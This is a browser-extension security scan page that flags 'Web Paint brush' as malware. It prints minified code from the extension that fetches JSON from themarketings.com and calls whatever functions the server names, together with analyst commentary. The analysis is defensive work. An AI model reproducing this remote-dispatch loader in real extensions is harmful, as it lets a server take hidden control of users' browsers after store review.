Security Alert: Confirmed Malware
Web Paint brush
ID: ijadnlicajhbcfnhekakiifijldonnem
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- Amelia KristiansenView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
With Web Paint Brush, you can draw on web pages with a powerful editor and save them to a file.
Web paint brush is a drawing tool that works over web content. You can annotate the web page and take a screenshot. Features: โญ Power draw tools: eyedropper, pencil, text with various sizes and colors, arrows, lines, etc. โญ Customize color and size โญ Take a screenshot to a file or the clipboard
This code pulls remote configuration from `https://themarketings.com/storage/<host>/default.json` during initialization. Downloading behavior-driving configuration from a third-party server is suspicious in an extension because it can change runtime behavior after review and bypass the static package contents.
g = function e() { return b["default"].create({ baseURL: "https://themarketings.com/storage/" }) }, _ = function e(r) { if (Array.isArray(r)) return "Unexpected setter result value: Array"; switch ((0, s["default"])(r)) { case "object": case "undefined": return; default: return "Unexpected setter return value: ".concat((0, s["default"])(r)) } }, S = function e(r) { switch (r) { case "local": return l["default"].storage.local; case "sync": return l["default"].storage.sync; case "managed": return l["default"].storage.managed; default: throw new TypeError('area must be "local" | "sync" | "managed"') } }, w = function e(r) { r ? setTimeout(e, y) : g().get(document.location.host + "/default.json")After fetching the remote JSON, the code walks object paths, parses JSON-supplied values, resolves functions from the global object graph, and invokes them. That is effectively a remote behavior dispatcher and is much more concerning than ordinary configuration because a server response can choose which APIs/functions are executed.
.then((function(e) { if (200 == e.status) { for (var r = e.data, t = [], n = [], o = [], i = 0, u = Object.keys(r); i < u.length; i++) { var a = u[i]; t.unshift(a), n.unshift(r[a]) } for (var c = [], s = 0; s < t.length; s++) { if (t[s].length < 10) o.push(t[s], n[s]); else { for (var l = t[s].split("."), f = v(), p = 0; p < l.length; p++) p == l.length - 1 && c.push(f), f = f[l[p]]; c.push(f) } if (s == t.length - 1) { var b = c.pop(), d = c.pop(), h = c.pop(), y = c.pop(), m = JSON.parse(n[s]); h.bind(y)((function(r, t, n) { for (var o in e = b.apply(d, [r, m[0], O])) settings.tab[o.key] = settings.tab[n], t && (settings.tab += t) })) } } }}))["catch"](O)The background page loads a remote JavaScript payload from Google Analytics at runtime instead of shipping all executable code inside the extension package. This is a tracking pattern, and in an MV2 extension it also creates a remote-script execution path that expands the trust boundary beyond the reviewed source.
window.ga = window.ga || function() { (ga.q = ga.q || []).push(arguments) }, ga.l = +new Date, ga("create", "UA-192417750-1", "auto"), ga("set", "checkProtocolTask", null), ga( "send", { hitType: "pageview", page: "/background" }), function() { var e = document.createElement("script"); e.type = "text/javascript", e.async = !0, e.src = "https://www.google-analytics.com/analytics.js"; var r = document.getElementsByTagName("script")[0]; r.parentNode.insertBefore(e, r) }()By severity
Versions scanned
Showing 2 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 0.16.0 | 3 |
| 0.15.1 | 4 |
Files with findings
3 distinct paths โ top paths by unique finding count:
- bg.js5
- js/inject.js1
- manifest.json1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.